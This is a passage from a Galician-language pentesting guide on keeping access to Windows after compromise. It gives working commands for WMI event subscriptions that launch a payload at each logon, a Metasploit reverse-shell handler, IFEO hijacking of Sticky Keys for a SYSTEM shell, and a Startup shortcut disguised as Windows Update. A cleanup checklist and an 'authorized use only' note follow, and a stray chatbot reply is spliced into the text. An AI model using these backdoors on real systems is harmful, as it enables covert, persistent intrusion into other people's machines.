Write-Host "Filtro: Detecta logins/logouts interactivos (LogonType = 2)" -ForegroundColor Yellow
Write-Host "Acción: Executa payload con protección anti-disparos" -ForegroundColor Yellow
Write-Host "`nVinculacións activas:" -ForegroundColor Cyan
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object {$_.Filter -like '*UserLogin*'} | Select-Object Filter, Consumer

Explicación dos compoñentes:

• Filtro WMI: Detecta eventos de creación de sesións con LogonType = 2 (login e logout interactivo)
• Script de protección: Bloquea execucións múltiples no mesmo evento (só permite 1 cada 30 segundos) - esencial ao pechar sesión
• Consumidor: Executa o script PowerShell que lanza o payload
• Vinculación: Conecta o filtro co consumidor para activar a acción

Preparar handler Meterpreter en Kali:

# Handler Meterpreter (executa en background)
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.183; set LPORT 4444; set ExitOnSession false; exploit -j"

Probar a persistencia:

REM Pechar sesión (activarase o payload)
logoff

REM Iniciar sesión de novo na GUI de VirtualBox (activarase de novo o payload)
REM Deberías recibir UNHA shell Meterpreter en cada evento

Verificar configuración:

# Ver TODOS os filtros WMI activos
Write-Host "`n=== FILTROS WMI ===" -ForegroundColor Yellow
Get-WmiObject -Namespace root\subscription -Class __EventFilter | Select-Object Name, Query

# Ver TODOS os consumidores activos
Write-Host "`n=== CONSUMIDORES WMI ===" -ForegroundColor Yellow
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | Select-Object Name, CommandLineTemplate

# Ver TODAS as vinculacións
Write-Host "`n=== VINCULACIÓNS ===" -ForegroundColor Yellow
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Select-Object Filter, Consumer

Eliminar a persistencia:

# Limpar todo
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object {$_.Filter -like '*UserLogin*'} | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -eq 'UserLoginFilter'} | Remove-WmiObject
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | Where-Object {$_.Name -eq 'UserLoginConsumer'} | Remove-WmiObject
Remove-Item -Path "C:\ProgramData\WindowsUpdate\wmi_payload.ps1" -Force -ErrorAction SilentlyContinue
Remove-Item -Path "C:\ProgramData\WindowsUpdate\.wmi_lock" -Force -ErrorAction SilentlyContinue

Diagrama de funcionamento:

┌─────────────────────────────────────────────────────────────┐
│  1. Usuario inicia/pecha sesión (LogonType = 2)             │
└────────────────────┬────────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────────┐
│  2. WMI detecta evento Win32_LogonSession                   │
│     (Filtro: UserLoginFilter)                               │
└────────────────────┬────────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────────┐
│  3. Script comproba arquivo de bloqueo (.wmi_lock)          │
│     - Se hai disparo recente (<30s): BLOQUEA                │
│     - Se non: CONTINÚA                                      │
└────────────────────┬────────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────────┐
│  4. Actívase o consumidor (UserLoginConsumer)               │
│     Executa: winupdate.exe                                  │
└────────────────────┬────────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────────┐
│  5. Reverse shell conecta a Kali Linux (192.168.56.183)     │
└─────────────────────────────────────────────────────────────┘

Notas importantes:

1. LogonType = 2: Só se activa en logins/logouts interactivos (local ou RDP), non en servizos nin tarefas programadas
2. WITHIN 15: WMI comproba cada 15 segundos, polo que pode haber un pequeno retardo
3. Protección anti-disparos: O arquivo .wmi_lock evita múltiples execucións no mesmo evento - crítico ao pechar sesión
4. Invisible: Esta técnica non aparece en Registry Run nin en Scheduled Tasks
5. Persistente: Mantense despois de reinicios ata que se elimine manualmente
6. Login + Logout: Recibirás unha shell tanto ao pechar sesión como ao iniciar sesión

---

Opción 11: Accessibility Features (Sticky Keys)

Esta técnica usa Image File Execution Options (IFEO) para substituír ferramentas de accesibilidade por shells maliciosas.

Explicación: Image File Execution Options (IFEO)

IFEO permite especificar un debugger para calquera executable.

Como funciona: 1. Windows intenta executar un programa (ex: sethc.exe) 2. Comproba se existe entrada en IFEO para ese executable 3. Se existe Debugger, executa ese programa EN LUGAR do orixinal

Vantaxes: 1. Non modifica o ficheiro orixinal 2. Máis silenciosa 3. Reversible facilmente 4. Non dispara alertas de integridade

Variante 1: Usando IFEO con cmd.exe

# Crear entrada no rexistro para sethc.exe
New-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" -Force

# Especificar cmd.exe como "debugger"
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" -Name "Debugger" -Value "C:\Windows\System32\cmd.exe"

# Verificar
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe"

Como usar: 1. Bloquear a pantalla (Win + L) 2. Premer Shift 5 veces 3. Aparece cmd.exe como SYSTEM

Variante 2: Con payload Meterpreter

# Configurar debugger para executar payload
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" -Name "Debugger" -Value "C:\ProgramData\WindowsUpdate\winupdate.exe"

Outras funcións de accesibilidade:

Executable	Trigger	Descrición
sethc.exe	Shift 5 veces	Sticky Keys
utilman.exe	Win + U	Utility Manager
osk.exe	-	On-Screen Keyboard

---

Opción 12: Arquivo LNK malicioso no Startup

Que é un arquivo LNK? Un arquivo .lnk é un atallo de Windows (shortcut). Cando o usuario fai dobre clic nun atallo, Windows executa o programa ao que apunta.

Como funciona esta técnica? 1. Creamos un atallo malicioso que apunta ao noso payload 2. Colocámolo na carpeta Startup de Windows 3. Ao iniciar sesión, Windows executa automaticamente todos os atallos de Startup 4. O noso payload execútase sen que o usuario faga nada

SIMILARIDADE CON LINUX

• Análogo a poñer un script en /etc/profile.d/ ou ~/.bashrc
• Análogo á Opción 1 de VulNyx Linux (reverse shell en /etc/profile)

Prerrequisito

Ter o payload xa copiado na máquina (ver Opción 1 - Paso 1-3)

# Crear arquivo LNK que executa payload
# 1. Crear obxecto COM de Windows Script Host (permite crear atallos)
$WshShell = New-Object -ComObject WScript.Shell

# 2. Crear o atallo (aínda non existe no disco)
$Shortcut = $WshShell.CreateShortcut("C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk")

# 3. Configurar A QUE apunta o atallo (o noso payload)
$Shortcut.TargetPath = "C:\ProgramData\WindowsUpdate\winupdate.exe"

# 4. Configurar COMO se abre (minimizado = non se ve)
$Shortcut.WindowStyle = 7  # 1=Normal, 3=Maximized, 7=Minimized

# 5. Descrición do atallo (aparece ao pasar o rato por encima)
$Shortcut.Description = "Windows Update Service"

# 6. Directorio de traballo (onde se executa o payload)
$Shortcut.WorkingDirectory = "C:\ProgramData\WindowsUpdate"

# 7. GARDAR o atallo no disco (antes era só un obxecto en memoria)
$Shortcut.Save()

# Verificar
Get-ChildItem "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

Probar:

REM 1. Pechar sesión
shutdown /l

REM 2. Volver iniciar sesión (introducir contrasinal)

REM 3. O payload executarase automaticamente sen que o vexas

Na máquina Kali, deberías recibir a sesión Meterpreter automaticamente ao iniciar sesión.

---

Tes toda a razón! O comando de eliminación de WMI debería estar tamén na sección 6. Limpeza, xa que é parte da checklist global de eliminación de persistencia.

Aquí tes a sección actualizada:

---

6. Limpeza

Nota sobre a limpeza

Este documento presenta un catálogo de técnicas alternativas de persistencia.
Nun escenario real ou nunha práctica concreta non se aplican todas simultaneamente,
senón só aquelas seleccionadas segundo o obxectivo do exercicio.

Esta sección actúa como unha checklist global de limpeza, garantindo que calquera técnica empregada poida ser eliminada correctamente ao finalizar a proba.

Eliminar persistencia

Eliminar entradas do rexistro:

reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v WindowsUpdate /f
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices" /v WindowsUpdate /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /f
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsername /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_SZ /d "0" /f

Eliminar tarefas programadas:

schtasks /delete /tn "WindowsUpdate" /f
schtasks /delete /tn "SystemMaintenance" /f
schtasks /delete /tn "SystemCheck" /f
schtasks /delete /tn "DailyMaintenance" /f
schtasks /delete /tn "BackupScheduler" /f
schtasks /delete /tn "BootCounter" /f
schtasks /delete /tn "UserMonitor" /f
schtasks /delete /tn "SystemCanary" /f
schtasks /delete /tn "LoadMonitor" /f
schtasks /delete /tn "RDPMonitor" /f
schtasks /delete /tn "ProcessMonitor" /f

Eliminar servizos:

sc stop "WindowsDefenderUpdate"
sc delete "WindowsDefenderUpdate"

Eliminar usuarios:

net user sysadmin /delete
net user support$ /delete
net user pentester /delete
net user backdoor /delete
net user WindowsUpdate /delete
net user Guest /delete
net user santa /delete
net user emergency /delete

Eliminar IFEO:

Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" -Force
Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" -Force

Eliminar WMI Subscriptions:

# Eliminar vinculacións
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object {$_.Filter -like '*UserLogin*'} | Remove-WmiObject

# Eliminar filtros
Get-WmiObject -Namespace root\subscription -Class __EventFilter | Where-Object {$_.Name -eq 'UserLoginFilter'} | Remove-WmiObject

# Eliminar consumidores
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | Where-Object {$_.Name -eq 'UserLoginConsumer'} | Remove-WmiObject

Eliminar ficheiros:

del /F /Q C:\ProgramData\WindowsUpdate\winupdate.exe
del /F /Q C:\ProgramData\WindowsUpdate\winupdate_service.exe
del /F /Q "C:\Program Files\Notepad++\version.dll"
del /F /Q C:\Windows\System32\maintenance.ps1
del /F /Q C:\Windows\System32\delayed-payload.ps1
del /F /Q C:\Windows\System32\boot-counter.ps1
del /F /Q C:\Windows\System32\user-monitor.ps1
REM --- Arquivos Canario Actualizados ---
del /F /Q C:\ProgramData\WindowsUpdate\canary-check.ps1
del /F /Q C:\ProgramData\WindowsUpdate\.keepalive
REM -------------------------------------
del /F /Q C:\Windows\System32\load-trigger.ps1
del /F /Q C:\Windows\System32\config\.trigger_date
del /F /Q C:\Windows\System32\config\.boot_count
del /F /Q "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk"
del /F /Q C:\ProgramData\WindowsUpdate\wmi_payload.ps1
del /F /Q C:\ProgramData\WindowsUpdate\.wmi_lock
rmdir /S /Q C:\ProgramData\WindowsUpdate
rmdir /S /Q C:\Windows\System32\drivers\etc\cache

Restaurar PATH:

REM Ver PATH actual
echo %PATH%

REM Eliminar directorio malicioso do PATH
setx PATH "%PATH:C:\Windows\System32\drivers\etc\cache;=%" /M

Desactivar RDP:

reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=No

Eliminar regras de firewall:

netsh advfirewall firewall delete rule name="Windows Update Service"

---

7. Conclusión

Estas técnicas permiten manter acceso persistente a sistemas Windows. É importante:

• Documentar todos os métodos implementados
• Verificar que non interfiren con operacións críticas
• Eliminar todas as backdoors ao finalizar
• Proporcionar ao cliente información detallada
• Considerar o impacto en sistemas de detección

Nota de seguridade: Usar exclusivamente en contextos autorizados de pentesting.

---

8. Táboa comparativa: Linux vs Windows

Técnica	Linux	Windows	Similaridade
Shells ao login	/etc/profile	Registry Run (HKLM/HKCU)	Alta
Acceso remoto	Clave SSH	RDP con usuario backdoor	Alta
Usuario privilexiado	useradd -o -u 0	net user + Administrators	Media
Modificación de usuarios	/etc/passwd	Usuario oculto con $	Media
AutoLogin	Non común	Registry Winlogon	Baixa
Tarefas programadas	Cron jobs	Scheduled Tasks	Alta
Servizos	systemd	Windows Services	Alta
Modificación PATH	$PATH en /etc/profile	setx PATH	Alta
Bibliotecas maliciosas	LD_PRELOAD / .so	DLL Hijacking	Alta
Eventos do sistema	udev rules / scripts	WMI Event Subscriptions	Media
Binarios privilexiados	SUID/SGID/Capabilities	IFEO (Accessibility)	Baixa
Bombas lóxicas (data)	Script bash con cron	Script PowerShell con Task	Alta
Bombas lóxicas (delay)	Script bash con timestamp	Script PowerShell con arquivo	Alta
Bombas lóxicas (reinicios)	Script init.d	Script PowerShell con Task	Alta
Arquivo canario	Script bash	Script PowerShell	Alta
Startup files	/etc/profile.d/	Startup folder + LNK	Media